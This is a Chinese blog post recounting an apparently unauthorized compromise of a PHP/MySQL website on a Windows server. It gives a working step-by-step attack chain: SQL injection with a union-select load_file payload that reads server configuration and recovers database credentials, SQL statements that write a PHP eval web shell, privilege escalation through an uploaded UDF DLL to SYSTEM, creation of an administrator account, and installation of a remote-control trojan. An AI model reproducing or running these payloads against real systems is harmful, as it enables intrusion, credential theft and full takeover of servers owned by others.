这里重点感谢一下JJ童鞋, 我与该童鞋相识好几年了,不过从未见过面,但是却很投缘啊(哈哈,我不是gay),发现很多时候一起做事很有默契,我也是好久没碰php了,完全忘记怎么 玩了,今天拉他来一起搞了一下,实践证明,合作的力量是伟大滴,成功拿下整台服务器权限,于是便有了本文,由于我写完之后要整理一下写到报告里面,所以会 写的详细一些,大牛们请飘过。。。(废话多了点儿,谁拿砖头砸我?!)
现在开始:
注入点:http://www.12345.com/page.php?id=2
1
'和and 1=1;and 1=2证明可注。
2
order by 判断字段数25
4
union select得到可查变量:2、17
5
将2或17替换为user() database() version()没有任何信息,原因目前未找到,请看到的大牛指点一二。
ping一下域名:www.12345.com返回TTL:113,判断为Windows操作系统
6
用load_file()函数读虚拟主机配置文件c:\windows\system32\inetsrv\MetaBase.xml,想办法得到网站路径,发现读出的是一个汉字(应该是二进制乱码)
7
于是尝试使用hex replace将char的二进制内容转换为16进制,并将<转换为空格,防止有php等内容无法读出来:
http://www.12345.com/page.php?id=2 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,hex(replace(load_file(char(99 ,58 ,92 ,119 ,105 ,110 ,100 ,111 ,119 ,115 ,92 ,115 ,121 ,115 ,116 ,101 ,109 ,51 ,50 ,92 ,105 ,110 ,101 ,116 ,115 ,114 ,118 ,92 ,77 ,101 ,116 ,97 ,66 ,97 ,115 ,101 ,46 ,120 ,109 ,108)),0x3c,0x20)),18,19,20,21,22,23,24,25/*
8
将读出的内容复制到Winhex当中,然后另存为123.txt,并读出网站路径:
9
10
用load_file()函数读取网站首页index.php内容:
13
发现首页调用head.php文件
12
继续读head.php
发现head.php调用了Include\config.inc.php
14
继续读Include\config.inc.php
15
16
到 了这里,终于得到了mysql的账户密码以及数据库名还有端口号等信息。(为什么我不直接读mysql的配置文件呢?读不到。为什么我读完 index.php里没发现config.inc.php呢?不知道哦,程序就是这么写的,在head.php里调用config然后首页调用 head。)
打开MySQL Query Browser,输入帐号密码连接数据库
17
分别执行以下SQL语句给网站插入一句话***:
Create TABLE g(cmd text NOT NULL); //建立g表,里面就一个cmd字段
Insert INTO g (cmd) VALUES('&lt;? php eval($_POST[1]);?>'); //把一句话***插入到g表
Select cmd from g into out file 'D:\piano_temp\www\Include\1.php; //查询g表中的一句话并把结果导入到1.php
Drop TABLE IF EXISTS g; //删除表g
这样,我们就得到了一句话***的服务端:http://www.12345pok.com/Include/1.php
用客户端进行连接
18
直接上传提权用的udf.php
19
填写好信息后点击提交:
20
将导出路径改为系统路径,并导出udf.dll,这里我改为C:\Windows\system\udf.dll
21
执行SQL命令:
select cmdshell ('whoami');
22
既然是system,接下来很自然直接添加账户并提升为管理员组
23
24
下面不演示了,对方开了远程终端,但是却连接不上,读注册表发现端口没被更改,但是却无法连接,netstat -na命令也看不到这个端口,于是随便找了个远控上传,运行,服务器没杀软,几百年前的远控都OK。
部分敏感内容已处理- -!因为是昨晚写的文章,今天下午才做处理,不知道会不会有的地方改出错误了。。。发现文章不通的话请联系我。
转载可以,但是请完整。提个醒儿,51cto图片不支持外链。